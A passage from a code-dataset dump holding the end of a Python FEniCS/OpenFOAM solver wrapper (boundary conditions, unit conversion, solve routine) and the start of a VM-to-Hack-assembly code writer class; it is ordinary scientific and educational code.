True:\n\t\t\t\tself.getFoamVectorBoundaryValuesInFEniCS(foam_variable_name = foam_variable_name, convert_to_usual_units_if_necessary = False, type_of_FEniCS_Function = fenics_function, foam_vector = foam_vector)\n\t\t\telse:\n\t\t\t\tself.getFoamVectorBoundaryValuesInFEniCS(foam_variable_name = foam_variable_name, convert_to_usual_units_if_necessary = False, type_of_FEniCS_Function = fenics_function)\n\n\t\t# Post-processing\n\t\tif using_separated_foam_vector == True:\n\t\t\tpass\n\t\telse:\n\t\t\tself.postProcessFEniCSVariableFromFoam(foam_variable_name, fenics_function, convert_to_usual_units_if_necessary = convert_to_usual_units_if_necessary)\n\n\t\t# Apply a filter for smoother transitions\n\t\tif apply_filter_for_smoother_transitions == True:\n\n\t\t\t# Check the type of variable\n\t\t\tif foam_vector.num_components == 1:\n\t\t\t\ttype_of_variable = 'scalar'\n\t\t\telif foam_vector.num_components == 3:\n\t\t\t\ttype_of_variable = 'vector'\n\t\t\telse:\n\t\t\t\traise ValueError(\" ❌ ERROR: foam_vector.num_components == %d is not implemented!\" %(foam_vector.num_components))\n\n\t\t\t# Apply filter\n\t\t\tutils_fenics.filterVariable(fenics_function, fenics_function.function_space(), domain_type = self.domain_type, filter_parameters = filter_parameters, overload_variable = True, type_of_variable = type_of_variable)\n\n\t\t\t# Post-processing\n\t\t\tif using_separated_foam_vector == True:\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\tself.postProcessFEniCSVariableFromFoam(foam_variable_name, fenics_function, convert_to_usual_units_if_necessary = False)\n\n\t################# getFoamVectorBoundaryValuesInFEniCS ##################\n\n\t@utils_fenics.no_annotations()\n\tdef getFoamVectorBoundaryValuesInFEniCS(self, \n\t\tfoam_variable_name = \"\", \n\t\tconvert_to_usual_units_if_necessary = True, \n\t\ttype_of_FEniCS_Function = 'DG0', \n\t\tfoam_vector = None\n\t\t):\n\t\t\"\"\"\n\t\tConverts the \"boundaryField\" of an OpenFOAM variable to a FEniCS Function (* The \"internalField\" is considered in 'fenics_foam_solver.setFoamVectorToFEniCSFunction' and 'fenics_foam_solver.setFEniCSFunctionToFoamVector').\n\t\t-> 'type_of_FEniCS_Function' can be either:\n\t\t\tString-valued: 'DG0' or 'CG1'\t\n\t\t\tFEniCS Function\n\t\t\"\"\"\n\n\t\tutils.customPrint(\"\\n 🌊 Generating the boundary values of the OpenFOAM variable '%s' to FEniCS...\" %(foam_variable_name))\n\n\t\t# Check if FoamVector has been provided\n\t\tif type(foam_vector).__name__ != 'NoneType':\n\t\t\tpass\n\n\t\telif foam_variable_name in self.variable_dictionary: # Check if the variable name exists in OpenFOAM\n\n\t\t\t# FoamVector\n\t\t\tfoam_vector = self.variable_dictionary[foam_variable_name]['FoamVector']\n\n\t\telse:\n\t\t\traise ValueError(\" ❌ ERROR: foam_variable_name == '%s' not available in self.variable_dictionary = %s!\" %(foam_variable_name, self.variable_dictionary))\n\n\t\t# Generate the maps if not already generated\n\t\tif 'map_foam_faces_to_fenics_cells' not in self.__dict__:\n\n\t\t\t# Minimum element size\n\t\t\thmin = self.mesh.hmin()\n\t\t\tif utils_fenics_mpi.runningInParallel():\n\t\t\t\thmin = utils_fenics_mpi.evaluateBetweenProcessors(hmin, operation = 'minimum', proc_destination = 'all')\n\n\t\t\t(self.map_foam_faces_to_fenics_cells, self.map_fenics_cells_to_foam_faces, self.map_foam_faces_to_fenics_cells_boundary_coords) = utils_fenics.generateFacetMapsOpenFOAM_FEniCSCells(self.mesh, self.foam_solver.foam_mesh, self.domain_type, mesh_hmin = hmin, tol_factor = self.tol_factor_for_mapping_FEniCS_and_OpenFOAM)\n\n\t\t# Convert to a FEniCS Function\n\t\tfenics_function = utils_fenics.FoamVectorBoundaryToFEniCSFunction(self.mesh, foam_vector, self.foam_solver.foam_mesh, self.map_foam_faces_to_fenics_cells, self.domain_type, type_of_FEniCS_Function = type_of_FEniCS_Function, map_foam_faces_to_fenics_cells_boundary_coords = self.map_foam_faces_to_fenics_cells_boundary_coords)\n\n\t\t# Post-processing\n\t\tself.postProcessFEniCSVariableFromFoam(foam_variable_name, fenics_function, convert_to_usual_units_if_necessary = convert_to_usual_units_if_necessary)\n\n\t\treturn fenics_function\n\n\t################# postProcessFEniCSVariableFromFoam ####################\n\n\tdef postProcessFEniCSVariableFromFoam(self, foam_variable_name, fenics_function, convert_to_usual_units_if_necessary = True):\n\t\t\"\"\"\n\t\tPost-processing from Foam.\n\t\t\"\"\"\n\t\treturn self.__postProcessFEniCSVariable('from Foam', foam_variable_name, fenics_function, convert_to_usual_units_if_necessary = convert_to_usual_units_if_necessary)\n\n\t################### postProcessFEniCSVariableToFoam ####################\n\n\tdef postProcessFEniCSVariableToFoam(self, foam_variable_name, fenics_function, convert_to_usual_units_if_necessary = True):\n\t\t\"\"\"\n\t\tPost-processing to Foam.\n\t\t\"\"\"\n\t\treturn self.__postProcessFEniCSVariable('to Foam', foam_variable_name, fenics_function, convert_to_usual_units_if_necessary = convert_to_usual_units_if_necessary)\n\n\t##################### __postProcessFEniCSVariable ######################\n\n\tdef __postProcessFEniCSVariable(self, type_of_post_processing, foam_variable_name, fenics_function, convert_to_usual_units_if_necessary = True):\n\t\t\"\"\"\n\t\tPost-processing necessary for the resulting FEniCS variable. The main points are listed below:\n\n\t\t-> For incompressible flow:\n\t\t\t1) Send the 'rho-normalized pressure' (OpenFOAM) as 'pressure' to FEniCS.\n\t\t\t2) Send the 'pressure' (FEniCS) as 'rho-normalized pressure' to OpenFOAM.\n\t\t\t3) Threshold some values in order to guarantee that the projection performed\n\t\t\t from or to DG0 does not inadvertently return non-physical negative values.\n\t\t\"\"\"\n\n\t\tif type(fenics_function).__name__ == 'Function':\n\t\t\tpass\n\t\telse:\n\t\t\tfenics_function_array = fenics_function\n\n\t\t# Flag to indicate whether to apply changes or not\n\t\tset_to_apply_changes = False\n\n\t\t# OpenFOAM uses a 'rho-normalized pressure' (Pa/(kg/m³)) for incompressible flow. This means that,\n\t\t # if we are using the \"usual\" pressure (Pa), we have to multiply/divide the FEniCS value \n\t\t # by the density.\n\t\tif foam_variable_name == 'p' and convert_to_usual_units_if_necessary == True:\n\n\t\t\tif self.dictionary_measurement_units['p'] == 'rho-normalized pressure':\n\n\t\t\t\tif 'fenics_function_array' not in locals():\n\t\t\t\t\tfenics_function_array = fenics_function.vector().get_local()\n\n\t\t\t\tif type_of_post_processing == 'from Foam':\n\t\t\t\t\tfenics_function_array *= self.additional_properties['rho']\n\t\t\t\telif type_of_post_processing == 'to Foam':\n\t\t\t\t\tfenics_function_array /= self.additional_properties['rho']\n\t\t\t\telse:\n\t\t\t\t\traise ValueError(\" ❌ ERROR: type_of_post_processing == '%s' is not defined!\" %(type_of_post_processing))\n\n\t\t\t\t# Set to apply changes\n\t\t\t\tset_to_apply_changes = True\n\n\t\tif foam_variable_name in [\n\n\t\t\t# Turbulent variables\n\t\t\t'k', 'epsilon', 'omega', 'nuTilda', 'v2', 'f', \n\n\t\t\t# Turbulent kinematic viscosity\n\t\t\t'nut',\n\n\t\t\t# Turbulent thermal diffusivity\n\t\t\t'alphat',\n\n\t\t\t]:\n\n\t\t\t# Array of values\n\t\t\tif 'fenics_function_array' not in locals():\n\t\t\t\tfenics_function_array = fenics_function.vector().get_local()\n\n\t\t\tif type(self.min_value_projected_turbulence_variables).__name__ != 'NoneType': \n\n\t\t\t\t# Impose that they should be always positive (i.e., ignoring possible numerical errors of the projection)\n\t\t\t\tfenics_function_array[fenics_function_array < 0] = self.min_value_projected_turbulence_variables #0\n\n\t\t\t\t# Set to apply changes\n\t\t\t\tset_to_apply_changes = True\n\n\t\telif foam_variable_name == 'alpha_design':\n\n\t\t\t# Array of values\n\t\t\tif 'fenics_function_array' not in locals():\n\t\t\t\tfenics_function_array = fenics_function.vector().get_local()\n\n\t\t\t# Impose that they should be always in [1, 0] (i.e., ignoring possible numerical errors of the projection)\n\t\t\tfenics_function_array[fenics_function_array < 0] = 0\n\t\t\tfenics_function_array[fenics_function_array > 1] = 1\n\n\t\t\t# Set to apply changes\n\t\t\tset_to_apply_changes = True\n\n\t\telse:\n\t\t\tpass\n\n\t\t# Set to the FEniCS variable\n\t\tif type(fenics_function).__name__ == 'Function':\n\t\t\tif set_to_apply_changes == True:\n\t\t\t\tfenics_function.vector().set_local(fenics_function_array)\n\t\t\t\tfenics_function.vector().apply('insert')\n\t\telse:\n\t\t\treturn fenics_function_array\n\n\t################## setAllEqualFoamBoundaryConditions ###################\n\n\t@utils_fenics.no_annotations()\n\tdef setAllEqualFoamBoundaryConditions(self, variable_name, bc_type, bc_value, other_parameters = {}, check_consistency_of_imposed_values = False, convert_from_usual_units_if_necessary = True):\n\t\t\"\"\"\n\t\tSet all boundary conditions from FEniCS variable (or a string),\n\t\texcept 'frontSurface', 'backSurface', 'frontAndBackSurfaces',\n\t\t'cyclic', 'cyclicAMI', 'cyclicACMI'.\n\t\t\"\"\"\n\n\t\t# Boundary data\n\t\tmesh_boundary_data = self.foam_solver.foam_mesh.boundaries()\n\n\t\t# Boundary names\n\t\tboundary_names = list(mesh_boundary_data.keys())\n\n\t\tfor boundary_name in boundary_names:\n\t\t\tif boundary_name in ['frontSurface', 'backSurface', 'frontAndBackSurfaces']:\n\t\t\t\tpass\n\t\t\telse:\n\n\t\t\t\tif mesh_boundary_data[boundary_name]['type'] in ['cyclic', 'cyclicAMI', 'cyclicACMI']:\n\t\t\t\t\tself.setFoamBoundaryCondition(variable_name, boundary_name, bc_type, bc_value, other_parameters = other_parameters, check_consistency_of_imposed_values = check_consistency_of_imposed_values, return_error_if_boundary_unavailable = False, convert_from_usual_units_if_necessary = convert_from_usual_units_if_necessary, set_only_the_value = True)\n\t\t\t\telse:\n\t\t\t\t\tself.setFoamBoundaryCondition(variable_name, boundary_name, bc_type, bc_value, other_parameters = other_parameters, check_consistency_of_imposed_values = check_consistency_of_imposed_values, return_error_if_boundary_unavailable = False, convert_from_usual_units_if_necessary = convert_from_usual_units_if_necessary)\n\n\t####################### setFoamBoundaryCondition #######################\n\n\t@utils_fenics.no_annotations()\n\tdef setFoamBoundaryCondition(self, \n\t\tvariable_name, \n\t\tboundary_name, bc_type, \n\t\tbc_value, \n\t\tother_parameters = {}, \n\n\t\tcheck_consistency_of_imposed_values = False, \n\t\treturn_error_if_boundary_unavailable = True, \n\t\tconvert_from_usual_units_if_necessary = True, \n\t\tset_only_the_value = False\n\t\t):\n\t\t\"\"\"\n\t\tSet a boundary condition from FEniCS variable (or a string).\n\t\t\"\"\"\n\n\t\t# Get the FoamMesh\n\t\tfoam_mesh = self.foam_solver.foam_mesh\n\n\t\t# Get the faces of the boundary\n\t\tboundary = foam_mesh.boundary(boundary_name)\n\t\tnFaces = boundary['nFaces']\n\t\tstartFace = boundary['startFace']\n\n\t\t# Checking if the face has any faces marked with the given boundary\n\t\tif nFaces == 0:\n\t\t\tif return_error_if_boundary_unavailable == False:\n\t\t\t\tutils.customPrint(\" ❗ There are no faces available for boundary '%s'!\" %(boundary_name))\n\t\t\t\treturn\n\t\t\telse:\n\t\t\t\traise ValueError(\" ❌ ERROR: There are no faces available for boundary '%s'!\" %(boundary_name))\n\n\t\tutils.customPrint(\"\\n 🌊 Setting boundary condition '%s' of variable '%s' to OpenFOAM:\" %(boundary_name, variable_name))\n\t\tutils.customPrint(\" - type = %s\" %(bc_type))\n\t\tutils.customPrint(\" - value = %s\" %(bc_value))\n\t\tif len(other_parameters) == 0:\n\t\t\tutils.customPrint(\" - other_parameters = [empty]\")\n\t\telse:\n\t\t\tutils.customPrint(\" - other_parameters = \")\n\t\t\tutils.printFullDictionary(other_parameters)\n\n\t\tdef check_for_user_expression(fenics_var):\n\t\t\t\"\"\"\n\t\t\tSince UserExpressions are created by defining\n\t\t\tclasses in Python, the type(...).__name__ scheme\n\t\t\tshould not work. This is a workaround.\n\t\t\t\"\"\"\n\n\t\t\ttry:\n\t\t\t\tif 'expression' in str(fenics_var.cpp_object()):\n\t\t\t\t\tis_expression = True\n\t\t\t\telse:\n\t\t\t\t\tis_expression = False\n\t\t\texcept:\n\t\t\t\tis_expression = False\n\n\t\t\treturn is_expression\n\n\t\tdef get_np_array_of_bc(bc_value, foam_vector):\n\t\t\t\"\"\"\n\t\t\tGet the NumPy array of the boundary condition.\n\t\t\t\"\"\"\n\t\t\tif type(bc_value).__name__ == 'NoneType':\n\t\t\t\tvalue = None\n\n\t\t\telif type(bc_value).__name__ in ['int', 'float']:\n\t\t\t\tvalue = np.array([bc_value])\n\n\t\t\telif type(bc_value).__name__ == 'list':\n\t\t\t\tvalue = np.array(bc_value)\n\n\t\t\telif type(bc_value).__name__ == 'ndarray':\n\t\t\t\tvalue = bc_value\n\n\t\t\telif type(bc_value).__name__ == 'Constant':\n\t\t\t\tvalue = bc_value.values()\n\n\t\t\telif type(bc_value).__name__ == 'Function' or type(bc_value).__name__ == 'Expression' or type(bc_value).__name__ == 'CompiledExpression' or check_for_user_expression(bc_value):\n\n\t\t\t\t# FEniCS variable\n\t\t\t\tfenics_var = bc_value\n\n\t\t\t\t# Compute the central coordinate of each face in 2D\n\t\t\t\tfaces_central_coords = foam_mesh.faces_center_coordinates(boundary_name = boundary_name)\n\n\t\t\t\t# Convert to 2D coordinates if necessary\n\t\t\t\tfaces_central_coords_adjusted = utils_fenics.adjustCoordinatesOpenFOAMToFEniCS(faces_central_coords, self.domain_type)\n\n\t\t\t\t# Set all central values from the FEniCS variable\n\t\t\t\tvalue = np.array([fenics_var(face_central_coords) for face_central_coords in faces_central_coords_adjusted], dtype = 'float')\n\n\t\t\t\t# Checking the value\n\t\t\t\tif len(value) == 0:\n\t\t\t\t\traise ValueError(\" ❌ ERROR: Imposing nothing on boundary '%s' for variable '%s'!\" %(boundary_name, variable_name))\n\n\t\t\t\tif len(value.shape) == 1:\n\t\t\t\t\tpass\n\t\t\t\telif len(value.shape) == 2:\n\t\t\t\t\t# Adjust the vector components according to the domain type\n\t\t\t\t\tvalue = utils_fenics.adjustVectorComponentsToOpenFOAM(value, self.domain_type)\n\t\t\t\telse:\n\t\t\t\t\traise ValueError(\" ❌ ERROR: len(value.shape) == %s is not valid!\" %(len(value.shape)))\n\n\t\t\telse:\n\t\t\t\tvalue = bc_value\n\n\t\t\tif convert_from_usual_units_if_necessary == True and type(bc_value).__name__ != 'NoneType':\n\t\t\t\tvalue = self.postProcessFEniCSVariableToFoam(variable_name, value, convert_to_usual_units_if_necessary = convert_from_usual_units_if_necessary)\n\n\t\t\t# Check consistency\n\t\t\tif check_consistency_of_imposed_values == True:\n\n\t\t\t\t# Check if no 'nan' value appeared\n\t\t\t\tassert np.any(np.isnan(value)) == False\n\n\t\t\t\t# Check if no 'inf' value appeared\n\t\t\t\tassert np.any(np.isinf(value)) == False\n\n\t\t\treturn value\n\n\t\tfoam_vectors = self.foam_solver.getFoamVectors()\n\t\tfoam_vector_names = {foam_vectors[i_foam_vector].name : i_foam_vector for i_foam_vector in range(len(foam_vectors))}\n\n\t\tif variable_name in foam_vector_names:\n\n\t\t\t# FoamVector\n\t\t\tfoam_vector = foam_vectors[foam_vector_names[variable_name]]\n\n\t\t\t# Get the value\n\t\t\tvalue = get_np_array_of_bc(bc_value, foam_vector)\n\n\t\t\t# Check if there are values in other_parameters that need to be converted to NumPy arrays\n\t\t\tother_parameters = other_parameters.copy() # Let's make a copy\n\n\t\t\t# Run the recursive check for other_parameters\n\t\t\tdef recursive_check(dictionary):\n\t\t\t\tfor key in dictionary:\n\t\t\t\t\tif type(dictionary[key]).__name__ in ['str', 'int', 'float', 'list', 'NoneType']: # Something to set as is\n\t\t\t\t\t\tpass\n\t\t\t\t\telif type(dictionary[key]).__name__ == 'dict':\n\t\t\t\t\t\trecursive_check(dictionary[key]) # Recursion\n\t\t\t\t\telse:\n\t\t\t\t\t\tdictionary[key] = get_np_array_of_bc(dictionary[key], foam_vector) # Array to set\n\t\t\trecursive_check(other_parameters)\n\n\t\t\t# Set the boundary condition\n\t\t\tif set_only_the_value == True:\n\t\t\t\tfoam_vector.setBoundaryConditionValue(boundary_name, value)\n\t\t\telse:\n\t\t\t\tfoam_vector.setBoundaryCondition(boundary_name, bc_type, value, other_parameters = other_parameters)\n\n\t\t\t# Set to apply changes\n\t\t\tfoam_vector.set_to_apply_changes('insert')\n\n\t\telse:\n\t\t\traise ValueError(\" ❌ ERROR: variable_name == '%s' not in %s!\" %(variable_name, foam_vector_names))\n\n\t######################### setFoamConfiguration #########################\n\n\t@utils_fenics.no_annotations()\n\tdef setFoamConfiguration(self, configuration_name, new_data):\n\t\t\"\"\"\n\t\tSet an OpenFOAM configuration.\n\t\t\"\"\"\n\n\t\tif len(new_data) != 0 and type(new_data).__name__ != 'NoneType':\n\n\t\t\tutils.customPrint(\"\\n 🌊 Setting configuration to OpenFOAM: %s\" %(configuration_name))\n\t\t\tutils.printFullDictionary(new_data)\n\n\t\t\tfoam_configurations = self.foam_solver.getFoamConfigurations()\n\t\t\tfoam_configurations_names = {foam_configurations[i_foam_configuration].name : i_foam_configuration for i_foam_configuration in range(len(foam_configurations))}\n\n\t\t\tif configuration_name in foam_configurations_names:\n\t\t\t\tfoam_configuration = foam_configurations[foam_configurations_names[configuration_name]]\n\t\t\t\tfoam_configuration.setConfiguration(new_data)\n\t\t\t\tfoam_configuration.set_to_apply_changes('insert')\n\t\t\telse:\n\t\t\t\traise ValueError(\" ❌ ERROR: configuration_name == '%s' not in %s!\" %(configuration_name, foam_configurations_names))\n\n\t########################### setFoamProperty ############################\n\n\t@utils_fenics.no_annotations()\n\tdef setFoamProperty(self, property_name, new_data):\n\t\t\"\"\"\n\t\tSet an OpenFOAM property.\n\t\t\"\"\"\n\n\t\tif len(new_data) != 0 and type(new_data).__name__ != 'NoneType':\n\n\t\t\tutils.customPrint(\"\\n 🌊 Setting property to OpenFOAM: %s\" %(property_name))\n\t\t\tutils.printFullDictionary(new_data)\n\n\t\t\tfoam_properties = self.foam_solver.getFoamProperties()\n\t\t\tfoam_properties_names = {foam_properties[i_foam_property].name : i_foam_property for i_foam_property in range(len(foam_properties))}\n\n\t\t\tif property_name in foam_properties_names:\n\t\t\t\tfoam_property = foam_properties[foam_properties_names[property_name]]\n\t\t\t\tfoam_property.setProperty(new_data)\n\t\t\t\tfoam_property.set_to_apply_changes('insert')\n\t\t\telse:\n\t\t\t\traise ValueError(\" ❌ ERROR: property_name == '%s' not in the recognized property dictionaries (%s)! Remember that all property dictionary names MUST end with 'Properties'!\" %(property_name, foam_properties_names))\n\n\t####################### setAdditionalProperty ##########################\n\n\t@utils_fenics.no_annotations()\n\tdef setAdditionalProperty(self, name, value):\n\t\t\"\"\"\n\t\tSet some additional properties that may be needed here.\n\t\t* For example, one is \"rho\" (density), because it is needed\n\t\t to convert the measurement unit of pressure used by OpenFOAM\n\t\t (\"rho-normalized pressure\") (Pa/(kg/m³)) to the usual\n\t\t unit of pressure (Pa) (in incompressible solvers).\n\t\t\"\"\"\n\n\t\tif type(value).__name__ == 'Constant':\n\t\t\tself.additional_properties[name] = float(value)\n\t\telif type(value).__name__ in ['float', 'int']:\n\t\t\tself.additional_properties[name] = value\n\t\telse:\n\t\t\traise ValueError(\" ❌ ERROR: type(value).__name__ == '%s' is not defined!\" %( type(value).__name__))\n\n\t############################# plotResults ##############################\n\n\t@utils_fenics.no_annotations()\n\tdef plotResults(self, file_type = 'VTK', tag_folder_name = \"\", more_options_for_export = \"\"):\n\t\t\"\"\"\n\t\tPlot the results to files.\n\t\t\"\"\"\n\n\t\tself.foam_solver.plotResults(file_type = file_type, tag_folder_name = tag_folder_name, more_options_for_export = more_options_for_export)\n\n\t################################ solve #################################\n\n\t@utils_fenics.no_annotations()\n\tdef solve(self, \n\t\trun_mode = 'openfoam', \n\t\tconsider_that_we_may_have_successive_simulation_parameters = True,\n\n\t\t# Log file\n\t\tsave_log_file = True, \n\t\tlog_file = '',\n\t\tonly_print_to_log_file = False,\n\n\t\t# Silent mode\n\t\tsilent_run_mode = False,\n\t\tnum_logfile_lines_to_print_in_silent_mode = 0,\n\n\t\t# MPI configs\n\t\tmpi_configs = {},\n\n\t\t# Continuous plotting of residuals\n\t\tcontinuously_plot_residuals_from_log = False,\n\t\tcontinuously_plot_residuals_from_log_tag = '',\n\t\tcontinuously_plot_residuals_from_log_time_interval = 5,\n\t\tcontinuously_plot_residuals_from_log_x_axis_label = 'Time',\n\t\tcontinuously_plot_residuals_from_log_y_axis_scale = 'linear',\n\t\tcontinuously_plot_residuals_from_log_use_lowest_priority_for_plotting = True,\n\t\t):\n\t\t\"\"\"\n\t\tSolve the problem with FoamSolver.\n\t\t\"\"\"\n\n\t\t# Let's overload the 'error_on_nonconvergence' parameter from FoamSolver\n\t\terror_on_nonconvergence_BAK = self.foam_solver.parameters['error_on_nonconvergence']\n\t\tself.foam_solver.parameters['error_on_nonconvergence'] = False\n\n\t\t# Solve with FoamSolver\n\t\ttry:\n\t\t\tresult_info = self.foam_solver.solve(\n\t\t\t\trun_mode = run_mode, \n\t\t\t\tconsider_that_we_may_have_successive_simulation_parameters = consider_that_we_may_have_successive_simulation_parameters,\n\n\t\t\t\t# Log file\n\t\t\t\tsave_log_file = save_log_file, \n\t\t\t\tlog_file = log_file,\n\t\t\t\tonly_print_to_log_file = only_print_to_log_file,\n\n\t\t\t\t# Silent mode\n\t\t\t\tsilent_run_mode = silent_run_mode,\n\t\t\t\tnum_logfile_lines_to_print_in_silent_mode = num_logfile_lines_to_print_in_silent_mode,\n\n\t\t\t\t# MPI configs\n\t\t\t\tmpi_configs = mpi_configs,\n\n\t\t\t\t# Continuous plotting of residuals\n\t\t\t\tcontinuously_plot_residuals_from_log = continuously_plot_residuals_from_log,\n\t\t\t\tcontinuously_plot_residuals_from_log_tag = continuously_plot_residuals_from_log_tag,\n\t\t\t\tcontinuously_plot_residuals_from_log_time_interval = continuously_plot_residuals_from_log_time_interval,\n\t\t\t\tcontinuously_plot_residuals_from_log_x_axis_label = continuously_plot_residuals_from_log_x_axis_label,\n\t\t\t\tcontinuously_plot_residuals_from_log_y_axis_scale = continuously_plot_residuals_from_log_y_axis_scale,\n\t\t\t\tcontinuously_plot_residuals_from_log_use_lowest_priority_for_plotting = continuously_plot_residuals_from_log_use_lowest_priority_for_plotting,\n\t\t\t\t)\n\n\t\t\t# Successful\n\t\t\tsolver_worked = True\n\n\t\t\t# Set the last step as the result\n\t\t\ttime_step_name = 'last'\n\n\t\texcept:\n\t\t\timport traceback\n\t\t\ttraceback.print_exc()\n\n\t\t\t# Diverged!\n\t\t\tresult_info = [0, False]\n\n\t\t\t# Not successful\n\t\t\tsolver_worked = False\n\n\t\t\t# Set the initial guess as the result\n\t\t\ttime_step_name = 0\n\n\t\t# Prepare for editing the last step\n\t\t # * It IS necessary to always run the line below, even when the \n\t\t # OpenFOAM simulation fails.\n\t\t # Why? Because the user may want to use a \"try-except\" clause\n\t\t # around \"fenics_foam_solver.solve\". If that happens, we need \n\t\t # to get everything ready for the user to edit.\n\t\tself.foam_solver.prepareForEditing(time_step_name = time_step_name, keep_previous_setup = True, keep_previous_mesh = True)\n\n\t\t# Renew the foam_vectors dictionary\n\t\tfoam_vectors = self.foam_solver.getFoamVectors()\n\t\tfoam_vector_names = {foam_vectors[i_foam_vector].name : i_foam_vector for i_foam_vector in range(len(foam_vectors))}\n\n\t\tfor variable_name in foam_vector_names:\n\t\t\tif variable_name in self.variable_dictionary:\n\t\t\t\tself.variable_dictionary[variable_name]['FoamVector'] = foam_vectors[foam_vector_names[variable_name]]\n\n\t\t# Now let's return the previous 'error_on_nonconvergence' parameter from FoamSolver\n\t\tself.foam_solver.parameters['error_on_nonconvergence'] = error_on_nonconvergence_BAK\n\n\t\t# Check convergence\n\t\tconverged = result_info[1]\n\t\tif converged == False:\n\t\t\tif self.foam_solver.parameters['error_on_nonconvergence'] == True:\n\t\t\t\tlast_time_step = result_info[0]\n\t\t\t\traise ValueError(\" ❌ ERROR: OpenFOAM solver did not converge until time step %s!\" %(last_time_step))\n\n\t\t# Solver failed?\n\t\tif solver_worked == False:\n\t\t\tif silent_run_mode == False:\n\t\t\t\traise ValueError(\" ❌ ERROR: Some problem occurred in the OpenFOAM simulation!\")\n\t\t\telse:\n\t\t\t\tif save_log_file == True:\n\t\t\t\t\traise ValueError(\" ❌ ERROR: Some problem occurred in the OpenFOAM simulation! Check the generated 'foam_log' to see what happened in OpenFOAM!\")\n\t\t\t\telse:\n\t\t\t\t\traise ValueError(\" ❌ ERROR: Some problem occurred in the OpenFOAM simulation! Who knows what happened! Please, enable 'save_log_file = True' or use 'silent_run_mode = False' in order to try to discover what happened!\")\n\n\t\treturn result_info\n\n############################## Load plugins ####################################\n\nfrom ..plugins import load_plugins\nload_plugins.loadPlugins(__file__, globals())\n\n################################################################################\n","repo_name":"diego-hayashi/fenics_topopt_foam","sub_path":"fenics_topopt_foam/solver/FEniCSFoamSolver.py","file_name":"FEniCSFoamSolver.py","file_ext":"py","file_size_in_byte":76524,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"72"} +{"seq_id":"30933210279","text":"class CodeWriter:\n def __init__(self, file):\n self._file = file\n self._asm_text = ''\n self._if_label_count = 0\n self._return_label_count = 0\n self._filename = ''\n self._function_label_name = ''\n\n def set_file_name(self, filename):\n self._filename = filename\n\n def write_arithmetic(self, command):\n if command in ['add', 'sub', 'and', 'or']:\n self._binary(command)\n elif command in ['neg', 'not']:\n self._unary(command)\n elif command in ['eq', 'gt', 'lt']:\n self._compare(command)\n\n def write_push(self, segment, index):\n if segment == 'constant':\n self._write_many(['@%d' % index, 'D=A', '@SP', 'A=M', 'M=D', '@SP',\n 'M=M+1'])\n elif segment in ['local', 'argument', 'this', 'that']:\n command_push = segment.upper()\n if segment == 'local':\n command_push = 'LCL'\n elif segment == 'argument':\n command_push = 'ARG'\n self._write_many(['@%s' % command_push, 'A=M'])\n for _ in range(index):\n self._write_one('A=A+1')\n self._write_many(['D=M', '@SP', 'A=M', 'M=D', '@SP', 'M=M+1'])\n elif segment in ['temp', 'pointer']:\n command_push = 0\n if segment == 'temp':\n command_push = 5\n elif segment == 'pointer':\n command_push = 3\n self._write_one('@%d' % command_push)\n for _ in range(index):\n self._write_one('A=A+1')\n self._write_many(['D=M', '@SP', 'A=M', 'M=D', '@SP', 'M=M+1'])\n if segment == 'static':\n self._write_many(['@%s.%d' % (self._filename, index), 'D=M', '@SP',\n 'A=M', 'M=D', '@SP', 'M=M+1'])\n\n def write_pop(self, segment, index):\n if segment in ['local', 'argument', 'this', 'that']:\n command_pop = segment.upper()\n if segment == 'local':\n command_pop = 'LCL'\n elif segment == 'argument':\n command_pop = 'ARG'\n self._write_many(['@SP', 'M=M-1', 'A=M', 'D=M',\n '@%s' % command_pop, 'A=M'])\n for _ in range(index):\n self._write_one('A=A+1')\n self._write_one('M=D')\n elif segment in ['temp', 'pointer']:\n command_pop = 0\n if segment == 'temp':\n command_pop = 5\n elif segment == 'pointer':\n command_pop = 3\n self._write_many(['@SP', 'M=M-1', 'A=M', 'D=M',\n '@%d' % command_pop])\n for _ in range(index):\n self._write_one('A=A+1')\n self._write_one('M=D')\n if segment == 'static':\n self._write_many(['@SP', 'M=M-1', 'A=M', 'D=M',\n '@%s.%d' % (self._filename, index), 'M=D'])\n\n def write_label(self, label):\n label = self._function_label(label)\n self._write_one('(%s)' % label)\n\n def write_goto(self, label):\n label = self._function_label(label)\n self._write_many(['@%s' % label, '0;JMP'])\n\n def write_if(self, label):\n label = self._function_label(label)\n self._write_many(['@SP', 'M=M-1', 'A=M', 'D=M', '@%s' % label,\n 'D;JNE'])\n\n def write_function(self, function_name, num_vars):\n self._function_label_name = function_name\n self._write_many(['(%s)' % function_name, 'D=0'])\n for _ in range(num_vars):\n self._write_many(['@SP', 'A=M', 'M=D', '@SP', 'M=M+1'])\n\n def write_call(self, function_name, num_args):\n label = self._return_label()\n self._write_many(['@%s' % label, 'D=A', '@SP', 'A=M', 'M=D', '@SP',\n 'M=M+1'])\n self._write_call_value('@LCL')\n self._write_call_value('@ARG')\n self._write_call_value('@THIS')\n self._write_call_value('@THAT')\n self._write_many(['@SP', 'D=M', '@5', 'D=D-A', '@%d' % num_args,\n 'D=D-A', '@ARG', 'M=D', '@SP', 'D=M', '@LCL', 'M=D',\n '@%s' % function_name, '0;JMP', '(%s)' % label])\n\n def write_return(self):\n self._write_many(['@LCL', 'D=M', '@R13', 'M=D', '@5', 'D=A', '@R13',\n 'A=M-D', 'D=M', '@R14', 'M=D', '@SP', 'M=M-1', 'A=M',\n 'D=M', '@ARG', 'A=M', 'M=D', '@ARG', 'D=M+1', '@SP',\n 'M=D', '@R13', 'AM=M-1', 'D=M', '@THAT', 'M=D',\n '@R13', 'AM=M-1', 'D=M', '@THIS', 'M=D', '@R13',\n 'AM=M-1', 'D=M', '@ARG', 'M=D', '@R13', 'AM=M-1',\n 'D=M', '@LCL', 'M=D', '@R14', 'A=M', '0;JMP'])\n\n def write_init(self):\n self._write_many(['@256', 'D=A', '@SP', 'M=D'])\n self.write_call('Sys.init', 0)\n\n def write_comment(self, command):\n self._write_one('// %s' % command)\n\n def close(self):\n self._file.write(self._asm_text[0:-1])\n self._file.close()\n\n def _binary(self, command):\n command_binary = ''\n if command == 'add':\n command_binary = 'D=D+M'\n elif command == 'sub':\n command_binary = 'D=M-D'\n elif command == 'and':\n command_binary = 'D=D&M'\n elif command == 'or':\n command_binary = 'D=D|M'\n self._write_many(['@SP', 'M=M-1', 'A=M', 'D=M', '@SP', 'M=M-1', 'A=M',\n command_binary, '@SP', 'A=M', 'M=D', '@SP', 'M=M+1'])\n\n def _unary(self, command):\n command_unary = ''\n if command == 'neg':\n command_unary = 